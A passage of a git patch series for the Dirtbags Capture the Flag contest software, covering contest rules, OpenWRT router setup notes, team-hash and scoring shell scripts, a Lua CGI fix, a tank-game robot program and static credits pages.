zo;l8C?kytCO;t`QK)TgI_}Lz4sBRy911jyiYL9c!X`2_EYMv+~Wwtt_pnVKLQgEIlc|!h@yi*w8opQ#C!H>l?BbatlR1RVs<-qt12m(yw-O=9Yssi)F5rll+^cqV2p*BPM2Cj)A0ILFP!Cna`|q z2TGG!@m{ zg?8nd=4gB#%^5&+tVouGfYX${cQ2Ts442VI?regj_?PR|3{}wx!|j5v-B?r646hP` zR48Hl6m<%~_^NBLeezwpNu(r5}>U9rH7gD7E3s-L)yjA;veiIVl zDsSXk_F^*JGht1OpbKNfi_^F_;I{Y@MK!rjJ|egMFAzTZFNfp=VMe!#)D*@Y-2fMR z!A!Ocs|}nM2JXN`de9RVcP{lMme#knK~he>Spx+|elq?b=(ZEx1=_z~JIuzs)I?HL zQ>lvLp<^;*SuX33TAmpHLeEmL4w_%%Xwg0p2fkE6&u!X-0rIYzA>$Exbr~YtgF%S*7}3?H1b$HIX?MkO55*kSZULnQ>78H| zdKD9#E?Ag}XuxZFhgtB)cc$QXOYjH>QY6Ix!c?_UYV&`}8X0d}oFk#^cZJmcRdTlN zlc&zcMGsKd>yKt$C+9^xERZC%MNo5KL}LFX-4t1`hvj|xS9M6QIamOSX%RjnM-brQ zJ%r7hm-0F7{L4tLq!uHuJO2lpNT&huXqraw#ZUv%4j1yO@Mt|%=8`GVS69by>z z^FsE?LedGL1cszHdfZ377-6EG+p>3QV4^5XDFi7;+P<$ghst~(;$!<}msu#a zZ%QU{WmGP3F^k&oRWh%mUhu#3M{i8yp`Oug;3zIc z=+9xrYH$U2VM2Kk0lt=cq_Isi$FFk!FmO|*5K+Ic-jBSH`>)iVP6Q2LtR?u&fO|+9 z@0SoUxU{LCS#f;XP27c8>~ZzZsPI!F%$vFz?;;x0JTpd#|9nb8Eo5nbOh|0{Hg>g7St-U_lW>mo3dfWXpnf-M4Zstoy6ok9mHXH;gNx2 zcd7PG!cJw|2A98|c~vk}UTeTUw4`IF3sTu&?!708V6^)LEDp-T-HH16aJ!UxbU2^t zHP1CKkK3G&ZoBiXo`B-K;7^`!2>&1>_4LT(?gbBKZFJPnV(0F&7>wwK7y^E!8D!V* zLJvP%N*5`$#zq^I%RMKiON83~G5y54NowC>Om=rY{~CxSG=^uerC4HMP5~6`5$;aq z8JPni7cP#;))gAg(SMtDJ^y30#nmYSbqMxy&o60cDpb|qhVVR@&lHelX@kdLZ?~Ka zd|Cxh1_316_&(7!5#|+;mUyw$WY8&UiNV>aqO0;bN1}l2%-`hUR!+c3zKB^Iuw^=A znYJ9WqpjZOjn(i&^h3=x%|MA*SsDYKR#W0);Si5xZs>nop54G-1YkQu+4;O*KP!AJ ztIf+SyE@-*ZR^|W^_hO2?ESasu}Z30(lSq-q-$50(pZ{|gwSq{)ozz2V3yivw;kvD zh7WjNsV%fuswck-+rU4ypU`e{LkY4%c=ed#F5FM3Uj({bFX(ia^878bu^+a8#} zMn}olndl9Vm$%+-HX}fssq3%VE{%^C3~ztMY}%DQY2Cas&qH>$&0{uw0dO`$LB7)3 z)Y~%eVNetRIJwlazrHaliE&#JywIE(sx+~k<&{0i=d3Inw%3-qO3j|V(ZSCD50dhT z!WB-Y2sg!cI8gf;VGDr9NW6O_L2yr<>9|h3(qL9M&cJ7Z-`Z;Fg5;ev%60QPz&1I*i9tjYAQI)sc`9H&TUY4xQiu6Wj;pYD54GrlSS5@Nc_EA*>u-m zemX)-jq?ves=fMp1TzzXDEO~`*)I{dsiYl<>@VqcIRa)#p$5)0k|M&C;*~x;0#*fS z@t@5jZ0`c|mwV77_lOJ-UEg7tW4j@+M{@DU`e=7C{-HUW@(15jserZnHraKNV6+X& zxKjY1B&)a$^9Qz35iaY1DtclavuvvRo+rao)DlcU5()=-(wNkDP($B)eATdP8# zfWJ)br9B?+%jly;`@`jyKhsV)7@^Xq7O44D+L*mHANtS95=!zZ zrZ5)0NE*i?FhhA+T2u$l#*zqir8d}{8&TwM0+-gH{M$ggfdHQEpw~vhWod!uB2=E! zClx8M{DslO%4G1_e3nfrQs;Jx)nyCmsA^Yhm5AIgm9_CG9i~M20@ELkj|sw7V&TD~ z$OENfeRv--@3c2W8wKIPV;2htS(Q3Yk2%CpjO+btzJL zfO#cR(K%6vg$E7dIX74EBgKk!eCgIve*iAH81Vbw#$rr{KUdh?|W$ z36*d7x;#^|&RhA|`Yhb3zubk;BiAKQjwM>d=sq?Wdm9yXlB|5{?1(y0+#`SA+FZ$C zh}kmhBHWYN*8^CL7oOf)nVPGvzjfV4^*u=skx{m;XiWEX{c-9s@mcB03^QsK;M~AY zuZxByRNUND4#I6hSk^tZBXFe9ED>r3gXr3uj(>yU;K;XSB)+NfH_EjtJwbuX;{fna zn^CUihzWw&yMBnjl**rM^Rw# zxxCI{*Jjh|XDWVG*PGBbnST*1PWd6goYoz zzCt4Wg|4_H_uoOjmA;=>38E{iW9D0eQHS{^pJ3Uh(KXYy%+5uI{Qn;8b^)bg>Mk-~ zhVgrGhw7VN%BNGCdF?cDs8HSBr}fm=ZQ5mXZoV zWZ=?fareVkY&9X@2RqN}sfPTK>1Yg>oE_FO^SKt&+B3aOs74mEE$DPtL#o(wW6n&m zyyd9wM8G}`a@O&(a&={2OrKc-Nf)82ResK18uWlDt&AbHQ5Q9Bpb2?^>6ZkK>>lnS zqs; z$&S}Q?%liT&gTSo9AGP9T>=K1Z)#OCL2;5V6RRd9KzFhJ$*q~PleQ$RK%nT+fb;ms z%5dAX>6n`kAC8+tR$(}S;G`SC@JaUyp-PT$floe+AmnLBWS4^+Z!__5)sB4THKl12 zqvG5z*Y^gtV#(}eYnRoScv*AvQm`JOSLxQ1^6w$ey}ZpX^X>@4ei<# zH9b&CZwYusk^NEhfP}dl|?zBJKd4ZNKo{)CIjf zW+&{_t?4QqgH(kb+DsmHzWr)x&@2+17g4O8X0rheJaKchd0ffW-;ivS+(g&*s;{Ah zyU%1(uS`45H6|JcbJi?#&r`3gpDKn~WfsP$xKK>~hf{eup39k0BL63uoYydv()i^* z_H$1f*5}Pngjh4Q{ZrL1PV%Z0@<_I?1g@F6)Nb9S+DgcKSh57fiMa8>*69Hg?{90e zqJCM;GOvMaO-Z-D0DD~rr?d~Pth#qPKj9apvFVkuUed8SXO=LxUUarLgZEaImrtrnm%?OX|((yBjdzGdczMz+$&Wa#Uq|FZ7^cp{Sp)bqJsLX7rr7bXa)YW=g~j_1&UWvyz%cbh=l$ z&aQcVonxp~?Wh~Xaf8)JQ zA>*&8)peQwqcs1M-u{!rIG#lld#B{y%nSc-d@lGuIq%7tF(qx|fs^V@8%n-d%a{0_ zEU)#3ge&p#7>g0S&+p1k?PD4P1T}J}H3iTAG9YqlnL^=m}_Vl(C zLLpzl+x$eo%!v8aSL9;Oe)hzs?;=VUG=@`D8m_b}TEjbfn320gj78%Iad!>j+Rh)$ z5O;8ulTrGs(rCDI-g%i%M$gNVT4~(Qf;hJfnEVQ4nFx@h+}KA@`iqGqLn*Apy6byA4?sDN_7n#?bNSA zCJ*xU7EYiZCakId1pRm7jS2m@kQ4^zKgcfHUGG2x09WIwNS~RZ)}9XcOonY$MZ{#V zu=FKv+d>E_zDhU$sVQ-KjWWOKdn6SZ@`#i^$7y4e&?cnVfy848N6_t44B!`O_phtH zFiKb6J&v0X?OSFde^^Sj#Sml16VWWbU1=?cJX&@{A9=?Oc*N6CxuDFI?ID?xuW_Ui zF`J{8F8HTgB6gBxAZ<_57qlyr+1ufHbWuQ^Dz*jE9N#}y;WZ`1$=Rv-a<@3r0VNK| zh!m(jCxTW%5@hXL{*mp=JQ>^r_g4pd>UDlav6LpUI45)A4@n;~CS6j=4#?<2i3ak=zy`ElnJn?g)Gvbb#NpOy9@T=Wsn28_mr_sE78H*8yqO?^IJ1S@E6*DF{2M^{^!kyxB79 z(u5jg4!*MWf58k2d^O?_u9@~5v3sCw-wp6Pn%of8mk$x0_*G*XQ}&;dZ#c?@?IGL2 z?S5!`*u)y;QD*n00Cd;~1?Q5D!pLrAQSI~2LKVcc^4vg1;!B~X-rsul+-f^w1f~fx zw%vBM=Hm4VG!W4|2U%7|=HyeiKJ5uD*W*7HCEnnsFAgW!ZEzUuE3VSaUYa1?#Y%@Q z0Na~3c||tWfbLO2t}eyR0G1*s$qhIZ)3aU3B2Yn)h4Hf8y>?`p;`wcZ$o-y) z=t$8-I7V4+ncCG(xU#-jsK3?24MNW%V(yjR!alZk@zo7xX;?j4at_eihq&?#DDza5 zcaM!-$I}aU!(&1w4K{Ducf`Of=hy55wm(BQ*v1;7(aUX$E5rR@s7z(fVZyx)&nf_> zY5pZwUeq=Fc>38lw&nc%*-+83b;@USKzu%1#U3mU)3|2ayi~@t@f^(Fn_4~aaK$HS z3~E~$5kB5%C*Q6rGdR-pbZC@zb7CX$^tW$$gFkKAcbQxuvR%q?TKtqfx>d7^`JS%m zo68>$EK3n2USV?{o)`4r@A$q(o!Kv}c-CVYM>4iTqd>(G|8VLhWpe+g9XOx|ctlnpTrU zoOv`#n5g4rhXEyuRr_9xuMdY;lv{;lF>&nGlxqG_l9O#g+F#2*R^l&x7&3LShR@y&VOaJ|&V6eAyMA!vT?K7y!~R zH6wsuD13u1O6=~g1O2imq`1rzSlO&D?@`GYaTl#~khLky>k?1dE=rd99PVDe7U36p zq0{7e=lUz~d{^D%;a}wHRcPR23FT*n@-yZb?2cDtw+&TegAzhqDPuW`BB~M!y3<3; zkr|Y1a0O;KMR1;YACSyE`aWyx$k@257kM}I*QB+MwJ^jG*PoVZqv6w(?tK}J;_Y_T z^2$^(>&5&zchm42Q5Ed+Sa{OXTVXpx7@EI#bd z`I~V;?@%1yqh8Ku(AN6I#j`}P-AY{^DxCZM&%&cB3tILG`UU~8gSk!C-dI16SZU^1 zoJaQ|x>Rp-A?r770q`cT{(`6SjwU?>PT?rKr>Xw`d_8`c*`XB0BOse2OZ!_&lHQx5 zM;TlX<+|j?(qis+h06dwp0(Li%ee7kgkDW=1JaC%-OEjg0qg1R>h42vbGlcl56j1& z3;gNLVWn-1`2D`+?w+b3x4Pmn>!|JGt=_G?>74@7d^;Nh=8|1G6J54TGJ>TQ4ecW$ z8UqdLTV|Lb6B)zmk?>|`?N;gXymyDn-h6L@>QppFlGgD!Qg1ZI6_I`Ypx$jXOLPVA zfD+eYyNY*-RE%BBj>bb3Nh1V7^0>5}^2Rxu0TadKVew-PMVO{p=z(w<#qQPzM+tdC zU&_3d_WJKQ#ccS7;Mm5zmZe?|@&v3SE@;a9K5HGM5mIi;cuI=+u`(@))XPFbxlOFw zE4AdPMd`$LrFIp-Jn=IxZLT+K1O4k8wxTI$xK#8Dz2HTS^W0lBn2A>Waa~%=WeBsp z#x&S|IgD#hQEM4uPSI^>v+;lL{LIA0rV|zQ&dtzWqb6!F;$-6rWXO`I>j<*FO}(kaO}^! zbA)qlt|qpNi8!Ub6p~_ee{%>})^a#$5TXbD`l5&!J0b<@pBc5lEp(v&heDsr@FQ(v zw~O0CWDd-J2K!J5LH`lb_Z3H0t3NRV%E}C+zo!52(x>~xBq&5-Ip!VAfuz;>p;kXc zDPBQ_gQPLhbRnMPj!B3;S!sc47h=waQap}+{Eb?phSNs4kI3`~55~9yp=PWJUARZY zn>uBL-vGujghO0b64SD%1brQ_CXb%2@u_9{Ng#QZ2Hn*0NkU zLa5B~@UA!ULDD$TSIr5r^0zo0)C4F6W5p|5mvl9gWvQ7?#Kq~pozoiqCcjBS>qtxi zLAo^2)ErtM;!sVlkufvTB_pVd_eq#?)Ll1YbfnzWH%u&c`kfzUQObn2VRz zzSEE*gELqsYpy}AglEsJ*p8Evvw&k~B2+IVX*h$@m93kyn&Xz<1+LW8&u}gum2zE_ zS|1OVm9b!7j!l07D3ywAjUQaSCFYMwOf$mSbC#PQ?tlZ;QPnU#JR1XKJcS^rt_?)q>MYWyL!Mr*N}U4)8J zi3buGB3HzMv0x993Mo8=5L~;{mm$7<_aWhj; zm&b@b9TeOX#t_3}t(L`*9lk8V$@xe4<6c_f`+hLuL2&mcZGJNy8R!mN$J>5 z`XfRkkEj@$I0Td{P?5o?`pK((w2<-;`3Ie4u+a2V;F`rdX@nmk2Hu0So%-IrKV$>s z_6PE=Hr~G|((O)$b(l{t;Pd<6lx^x7Y*4=t3hxVnIr9Q`08o>D7-!H^PH>Y-eJ9c7 z5UNz=j2H+DuM_VnNR%U8d_K&$Q)=Tlyl8vxs}LiV#noblEWXNn+;^oW*X>f_D7+|O z6&G*EyPT{+8SkMm=l83-Bq;lVXl8IioPuL>s1pm4aW(zOokZK!?;J!)oDl7$g9~c{ z6!K~q-=>1fhY9$D$nh!A19ob6cvuntpl5TYXf~q6mN%tm?n@#Wm{D7($|Ke92!{V2 z_|{!%M%`{aQuVh?C*gKIdywfVOrSHk6`yEPb0t;v0G}-$2zZ6KUYQ~1<@$$GuCluB2T8HcW7W-| zvfdCEx0w|_rXtLDT0^8p^bCR&)x>@jI-Aj>v>@mTSoq&o2M_myvh8QG?o-UxuE_PC zzu|g}Lp$^pTQQ)aiK}h9VSh~bbgaman+o8hAITe$XphtPohHQa@kG!gG-FASpRvHd z;N&J=fX-44e33Zo%AG&z{vbPs_#wOxe|m?+BaT3)-osRsYs_%fz3a#ya!G_4JA%+U z?h6sj~=iZSY}nDUQ6k zG-6$wNPKG`PudGwH!))UN6Q>=s2VUx_(3J4o%!dy;=j)-97?A!pS^VLE)-g6QB4K^ zKJRXsD)SM)qq|q)fQ__Xk{#%&F=O ziZi6Tgz?tR`qqJ-jg#evy>pM77|pExpEO^-JP|vQ6`h(D(gT5ye-j(mNR#g)(It=f zIIoF^*wIc7Z>$ddLVuNWulYh9Yo|;H1T6^v92VEBveo#0XM@DtW$?|hQ?cM7713mU zE-?9!yC5(~K5>hE#;!REmeEPYxKX`Eg4x$iPc4eEK|1&ZIk!m(<;hexz(o&jY)#*1 z!Zvxn$<@X+Y1jTS#Ii?8OCSH9#+Tf7Y#Y5aFF)$yob&>qGti~J9p=`5q3bOrqi^5( z9CMC>4!%|V7d&3m`GJ>{CJW~ZdKLk-w{iUU*dgo9wJpN1nmBQ41fv;8qlQRpWS%8% z8q`JF#SGG}e*v3#?o@t1|C;mgCvf6*Q4IA2&-<_pWuO6!sXh*&97|RboRj^>#e%BI z$2+$AABCZ^TjyGxmD$RwbqhEsn5}6!E7IA>w6kc}eGl%%9(}UOGY$j6P zXo~N5LuzS9nTK#-vb>55cM|^c;E(lU&%@7fj&*mIVIk;d)B0&L_`)C*lK?=E+u1AKZ}{hJkbD4mf7tF=0+_XvP1GDI@aLXX;9T&*nSdJnTv4+Kr>!gG=HkK=D2 z@;A46l!y0+!F{dOHOo&1hKfIR)GRe1g5oFJ()cx^&jO)s^D#M~{=!bZ3bbc3)Cqok zX%tCEgJ60MeL5!(VL>Mb{X3?r;MvxJlg==-aeglZsM&`{PCkt_y?UVA>PBU27xnR& z#6z`hlxzBr{2lajc+}JZ(5?fX%TMg-+l_f~!ZwF&SpzdqUZgjIov4R@bqnt_F9DZ5 zGgxnUjd09jdFa#nhljpJ9|G$rgcc1pZze|5noCx{(1X|;GZH(Dhb#1AIT{CqB^Xd~ z-56?7X@p-N{2_8rP;twWb@$t>1FC({r3Q={eV(!Wn!xI7_O|hxG(qB^UWKYNObNZ0 z0Y23Sr2Be``Vx(U&HH!$bNfG`G~bn#T()+$XB{RG)7T}=pI**vns+t0h^Ggw%(sAc z{39<#-2N^yiw8;7X$DVKln9?;W8&N2Alf&0eXIdDyLX6|TzY?YcVC- zvmRZ$U`F?=y|wJsJFAZNlC~zINWnSr)uSRheTj5Ua(u0A+n68<$M)%M5}`faWw&pD zq)QCkRI|U)8(~&L`ysmHE#+$VygT5e0eEzDzO`IpVI~(*NW0$!Mu=A{!(-{%68A;N zYER$B*uea}hw0C~`}96O&ch7zEPWQ`wYpB)IJfvI5P^Y;PWMXZ>j%}NyC$y(>1B; zb#5Y967$vpS;~<#*ZKJL%F^|z;car)XOV%dymVW_^iPfqZMOr6@=u*I9%3bx(Z;#- zZ4-e`Uxxj@KMy9G05u*W)tfV(tLrpA=`xt+YO^zO>tmRsXAJ1z?A;UEPe|1Qt#*J8xA(P%w*Y6^Af>6I}@&mzAY9_ zuin;p(OCTH;xzLtGrKR*v$yK%10McDUV)k)>~9;=ld(>?=P>F*57gh~=`==pY*H(q zek=Igu_yWv$VIxTd~?bD=#{*47;s8ax?>Jr{zq|4>3a43F)f@$$hz8w`Ma{=k&q;d z8|rw4@&zpzbhHwE{@!u#&ywgk3=;HKZEXyZ?xV9G14^f5$jL!W7p)7jb(Q60IZ5vR zO^V2p+A)HuYo}t16wU4!$gtR_I zWHcuYVO-IBd07NYcImW769s9&UKd-kH9vOqM{k`;;@b)gRsQ8aQDC4GRZ$F&ASK1^ zQ*Ju;`xE#}PrsJHP8P#X!^>^0+LpI2Buetc1cw62Ce1vlj}hiWR+yE#n_7^S+CILw zM3c>0w*eY-9ocR#&5Jtn83rEpeD;nDuOX?-pnM3c|0ei!@E`Z4ourXaCXKiy0P z{#dE%FY+2%8g8nNA5k?56##;8#>3H#oWr1gZvDF!at6R$YukB$N;phLAo!~bvSeoH5jsaFQXj($hCN`LvDlKa@ zKf8~idH@_<8vZ?RvEUv<0bW(@TZ^ePEB&<4GP(!dvsLD|< z&)5ItH85JOmvH^UgHR?Q40z>?^NHVl5$zkA?_MS}9dR~|ygwl?H_hO9dnph2CzQvV UON!wxxVMmzRFtR?Gy3`e0FbMTtpET3 literal 0 HcmV?d00001 diff --git a/packages/mcp/www/index.html b/packages/mcp/www/index.html index d62fd73..4a4083a 100644 --- a/packages/mcp/www/index.html +++ b/packages/mcp/www/index.html @@ -47,7 +47,7 @@

      Rules

      • - No DoS attacks. + No DoS attacks. No link layer (ARP, NDP) attacks.
      • Contest servers lie within fd84:b410:3441::/112 From fa8e03613ab6b52504f5067246efdbd945922068 Mon Sep 17 00:00:00 2001 From: Neale Pickett Date: Fri, 18 May 2012 22:03:53 -0600 Subject: [PATCH 11/14] Make OpenWRT work, save nonce in addteam --- doc/openwrt/README | 10 ++++++++-- packages/mcp/bin/addteam | 5 ++++- 2 files changed, 12 insertions(+), 3 deletions(-) diff --git a/doc/openwrt/README b/doc/openwrt/README index ca6cdad..7e50721 100644 --- a/doc/openwrt/README +++ b/doc/openwrt/README @@ -20,7 +20,13 @@ Instructions for setting up OpenWRT After installing OpenWRT: * Change the root password -* Install the kmod-ipv6, radvd, and luci-app-radvd packages +* Install the following packages: + ip6tables + kmod-ip6tables + kmod-ipv6 + libip6tc + luci-app-radvd + radvd * Configure the LAN interface as 10.0.0.1/16 and fd84:b410:3441::1/64 * Tell DHCP to begin at 257 after the base IP: this will assure @@ -28,7 +34,7 @@ After installing OpenWRT: * Disable router solicitations on LAN * Enable WPA2, with the password "correct horse battery staple" * Turn on router advertisements (under radvd) on LAN -* Enable prefix fd84:b410:3441::1/54 under radvd +* Enable prefix fd84:b410:3441::1/64 under radvd This should be sufficient to bring up the router for running the contest. If you want to get fancy, you can scp the files in diff --git a/packages/mcp/bin/addteam b/packages/mcp/bin/addteam index e936f01..580dd55 100755 --- a/packages/mcp/bin/addteam +++ b/packages/mcp/bin/addteam @@ -20,6 +20,9 @@ www=${CTF_BASE:-/var/www} mkdir -p $base/teams/names mkdir -p $base/teams/colors +[ -f $base/teams/nonce ] || dd if=/dev/urandom count=1 | md5sum | cut -b 1-8 > $base/teams/nonce +nonce=$(cat $base/teams/nonce) + # Assign a color. I spent weeks selecting a color pallette that # wouldn't be hell on people with protanopia. Please don't change these # colors. @@ -45,7 +48,7 @@ esac # Compute hash of team name; they'll use this for everything in the # contest instead of their team name, which makes stuff much easier on # me since all team hashes are in the set /[0-9a-f]{8}/. -hash=$(dd if=/dev/urandom count=1 2>/dev/null | md5sum | cut -b 1-8) +hash=$(printf "%s:%s" $nonce "$1" | md5sum | cut -b 1-8) echo "$1" > $base/teams/names/$hash echo "$color" > $base/teams/colors/$hash From 7f83cabdad47cf5dd2dace5b71a7de37e87a8ab4 Mon Sep 17 00:00:00 2001 From: Neale Pickett Date: Tue, 22 May 2012 12:54:51 -0600 Subject: [PATCH 12/14] make wopr work again --- packages/wopr/www/wopr/wopr.cgi | 13 ++++--------- 1 file changed, 4 insertions(+), 9 deletions(-) diff --git a/packages/wopr/www/wopr/wopr.cgi b/packages/wopr/www/wopr/wopr.cgi index 1a9e382..2e40cb1 100755 --- a/packages/wopr/www/wopr/wopr.cgi +++ b/packages/wopr/www/wopr/wopr.cgi @@ -1,6 +1,4 @@ -#! /usr/bin/lua - -require("lfs") +#! /bin/env lua BASEDIR = "/var/tmp/wopr" POST_MAX = 512 @@ -128,7 +126,7 @@ end -- function get(key, ...) - local fn = string.format("%s/%s", dirname, key) + local fn = string.format("%s.%s", dirname, key) local f = io.open(fn) if (not f) then return arg[1] @@ -140,12 +138,9 @@ function get(key, ...) end function set(key, ...) - local fn = string.format("%s/%s", dirname, key) + local fn = string.format("%s.%s", dirname, key) local f - -- Lazy mkdir to save a few inodes - lfs.mkdir(dirname) - f = io.open(fn, "w") if not f then error("Unable to write " .. fn) @@ -155,7 +150,7 @@ function set(key, ...) end function del(key) - local fn = string.format("%s/%s", dirname, key) + local fn = string.format("%s.%s", dirname, key) os.remove(fn) end From 8392fe441b7ca2ed4ca3f54bf0495002cc1ff384 Mon Sep 17 00:00:00 2001 From: Neale Pickett Date: Thu, 24 May 2012 15:16:19 -0600 Subject: [PATCH 13/14] firm up p2 console, add new tank --- packages/p2/bin/p2console | 52 +++++++++++++----- packages/tanks/examples/hard/skirts/author | 1 + packages/tanks/examples/hard/skirts/color | 1 + packages/tanks/examples/hard/skirts/name | 1 + packages/tanks/examples/hard/skirts/program | 58 +++++++++++++++++++++ packages/tanks/examples/hard/skirts/sensor0 | 1 + packages/tanks/examples/hard/skirts/sensor1 | 1 + packages/tanks/examples/hard/skirts/sensor2 | 1 + packages/tanks/examples/hard/skirts/sensor3 | 1 + packages/tanks/examples/hard/skirts/sensor4 | 1 + packages/tanks/examples/hard/skirts/sensor5 | 1 + packages/tanks/examples/hard/skirts/sensor6 | 1 + packages/tanks/examples/hard/skirts/sensor7 | 1 + packages/tanks/examples/hard/skirts/sensor8 | 1 + packages/tanks/examples/hard/skirts/sensor9 | 1 + 15 files changed, 109 insertions(+), 14 deletions(-) create mode 100644 packages/tanks/examples/hard/skirts/author create mode 100644 packages/tanks/examples/hard/skirts/color create mode 100644 packages/tanks/examples/hard/skirts/name create mode 100644 packages/tanks/examples/hard/skirts/program create mode 100644 packages/tanks/examples/hard/skirts/sensor0 create mode 100644 packages/tanks/examples/hard/skirts/sensor1 create mode 100644 packages/tanks/examples/hard/skirts/sensor2 create mode 100644 packages/tanks/examples/hard/skirts/sensor3 create mode 100644 packages/tanks/examples/hard/skirts/sensor4 create mode 100644 packages/tanks/examples/hard/skirts/sensor5 create mode 100644 packages/tanks/examples/hard/skirts/sensor6 create mode 100644 packages/tanks/examples/hard/skirts/sensor7 create mode 100644 packages/tanks/examples/hard/skirts/sensor8 create mode 100644 packages/tanks/examples/hard/skirts/sensor9 diff --git a/packages/p2/bin/p2console b/packages/p2/bin/p2console index f87e9de..4247a15 100755 --- a/packages/p2/bin/p2console +++ b/packages/p2/bin/p2console @@ -10,6 +10,10 @@ fi clear read nonce < $BASE/nonce +esc () { + printf '%s' "$*" | sed 's/[^-0-9A-Za-z ]/_/g; s/ /+/g' +} + newteam () { echo '== Team Creation ==' echo @@ -32,9 +36,18 @@ newteam () { printf '%s' "$name" > $BASE/$hash/.name - echo "Your team hash is $hash. Write that down somewhere and don't lose it." - echo "If you forget your hash, you'll have to start over from the beginning" - echo "with a new team and everybody will laugh at you." + cat < ' - read -r answer - ahash=$(printf '%s' "$answer" | md5sum | cut -d' ' -f1) + done fi +read -r name < $BASE/$hash/.name +echo "Welcome $name" echo -echo "Press [Enter] to clear the screen." -read -exit 0 +echo "Enter answer and I'll tell you if it's right or if you're a dummy." +echo -n '> ' +read -r answer +match=$(awk -v ans="$answer" '(substr($0, length($1)+2) == ans) { print substr(FILENAME, 6, length(FILENAME)-17) " " $1; }' /opt/*/answers.txt) +cat=${match% *} +points=${match#* } +fn=$BASE/$hash/$cat.$points +if [ -f $fn ]; then + echo "You've already received points for this answer." +else + printf "%s %s\n" $cat $points > $fn + echo "You get $points more points in the $cat category." + # run puzzles.cgi + # update scoreboard + echo "Check the puzzles overview for newly-unlocked content!" +fi + +done diff --git a/packages/tanks/examples/hard/skirts/author b/packages/tanks/examples/hard/skirts/author new file mode 100644 index 0000000..902019d --- /dev/null +++ b/packages/tanks/examples/hard/skirts/author @@ -0,0 +1 @@ +Neale Pickett diff --git a/packages/tanks/examples/hard/skirts/color b/packages/tanks/examples/hard/skirts/color new file mode 100644 index 0000000..10dbfa4 --- /dev/null +++ b/packages/tanks/examples/hard/skirts/color @@ -0,0 +1 @@ +#d0d054 \ No newline at end of file diff --git a/packages/tanks/examples/hard/skirts/name b/packages/tanks/examples/hard/skirts/name new file mode 100644 index 0000000..4a4b9e0 --- /dev/null +++ b/packages/tanks/examples/hard/skirts/name @@ -0,0 +1 @@ +skirts \ No newline at end of file diff --git a/packages/tanks/examples/hard/skirts/program b/packages/tanks/examples/hard/skirts/program new file mode 100644 index 0000000..7fa896f --- /dev/null +++ b/packages/tanks/examples/hard/skirts/program @@ -0,0 +1,58 @@ +15 14 set-speed! + +( Front ) +5 sensor? { + get-turret 45 + 90 < { 15 15 } { 2 2 } ifelse set-speed! + 0 set-turret! +} if + +( Rear ) +6 sensor? { + get-turret 45 + 90 < { 2 2 } { -15 -15 } ifelse set-speed! + 180 set-turret! +} if +7 sensor? { + 90 set-turret! + 5 -5 set-speed! +} if +8 sensor? { + -90 set-turret! + -5 5 set-speed! +} if + +1 sensor? { + get-turret 10 + set-turret! +} if + +2 sensor? { + get-turret 10 - set-turret! +} if + +3 sensor? { + get-turret 20 + set-turret! +} if + +4 sensor? { + get-turret 20 - set-turret! +} if + +0 sensor? { + 0 0 set-speed! + get-turret set-turret! + fire! +} if + +fire-ready? ! { + 70 60 10 random + + get-turret 90 + 180 > { exch } if + set-speed! +} if + +9 sensor? { + 5 sensor? { + -100 -100 + } { + 100 100 + } ifelse + set-speed! +} if \ No newline at end of file diff --git a/packages/tanks/examples/hard/skirts/sensor0 b/packages/tanks/examples/hard/skirts/sensor0 new file mode 100644 index 0000000..a6ab06f --- /dev/null +++ b/packages/tanks/examples/hard/skirts/sensor0 @@ -0,0 +1 @@ +50 0 7 1 diff --git a/packages/tanks/examples/hard/skirts/sensor1 b/packages/tanks/examples/hard/skirts/sensor1 new file mode 100644 index 0000000..d9fa05d --- /dev/null +++ b/packages/tanks/examples/hard/skirts/sensor1 @@ -0,0 +1 @@ +60 10 12 1 diff --git a/packages/tanks/examples/hard/skirts/sensor2 b/packages/tanks/examples/hard/skirts/sensor2 new file mode 100644 index 0000000..bee5d05 --- /dev/null +++ b/packages/tanks/examples/hard/skirts/sensor2 @@ -0,0 +1 @@ +60 -10 12 1 diff --git a/packages/tanks/examples/hard/skirts/sensor3 b/packages/tanks/examples/hard/skirts/sensor3 new file mode 100644 index 0000000..0be47b9 --- /dev/null +++ b/packages/tanks/examples/hard/skirts/sensor3 @@ -0,0 +1 @@ +90 30 40 1 diff --git a/packages/tanks/examples/hard/skirts/sensor4 b/packages/tanks/examples/hard/skirts/sensor4 new file mode 100644 index 0000000..e7609b1 --- /dev/null +++ b/packages/tanks/examples/hard/skirts/sensor4 @@ -0,0 +1 @@ +90 -30 40 1 diff --git a/packages/tanks/examples/hard/skirts/sensor5 b/packages/tanks/examples/hard/skirts/sensor5 new file mode 100644 index 0000000..26b41ae --- /dev/null +++ b/packages/tanks/examples/hard/skirts/sensor5 @@ -0,0 +1 @@ +60 0 90 0 diff --git a/packages/tanks/examples/hard/skirts/sensor6 b/packages/tanks/examples/hard/skirts/sensor6 new file mode 100644 index 0000000..b69dc3a --- /dev/null +++ b/packages/tanks/examples/hard/skirts/sensor6 @@ -0,0 +1 @@ +60 180 90 0 diff --git a/packages/tanks/examples/hard/skirts/sensor7 b/packages/tanks/examples/hard/skirts/sensor7 new file mode 100644 index 0000000..db4c883 --- /dev/null +++ b/packages/tanks/examples/hard/skirts/sensor7 @@ -0,0 +1 @@ +80 90 90 0 diff --git a/packages/tanks/examples/hard/skirts/sensor8 b/packages/tanks/examples/hard/skirts/sensor8 new file mode 100644 index 0000000..ddfc64e --- /dev/null +++ b/packages/tanks/examples/hard/skirts/sensor8 @@ -0,0 +1 @@ +80 270 90 0 diff --git a/packages/tanks/examples/hard/skirts/sensor9 b/packages/tanks/examples/hard/skirts/sensor9 new file mode 100644 index 0000000..9c9b4e8 --- /dev/null +++ b/packages/tanks/examples/hard/skirts/sensor9 @@ -0,0 +1 @@ +30 180 345 0 From a9ee3df1e26fd549c888b339309aeb473596bb68 Mon Sep 17 00:00:00 2001 From: Neale Pickett Date: Thu, 24 May 2012 16:27:24 -0600 Subject: [PATCH 14/14] add p2 static html --- packages/p2/www/credits.html | 51 ++++++++++ packages/p2/www/ctf.css | 174 +++++++++++++++++++++++++++++++++++ packages/p2/www/index.html | 31 +++++++ packages/p2/www/scoring.html | 46 +++++++++ 4 files changed, 302 insertions(+) create mode 100644 packages/p2/www/credits.html create mode 100644 packages/p2/www/ctf.css create mode 100644 packages/p2/www/index.html create mode 100644 packages/p2/www/scoring.html diff --git a/packages/p2/www/credits.html b/packages/p2/www/credits.html new file mode 100644 index 0000000..280f2ff --- /dev/null +++ b/packages/p2/www/credits.html @@ -0,0 +1,51 @@ + + + + The Credits + + + +

        Credits

        + +

        Dirtbags Capture the Flag is brought to you by:

        + +
          +
        • The number C
        • +
        • The letters ع and ֆ
        • +
        + +

        And by:

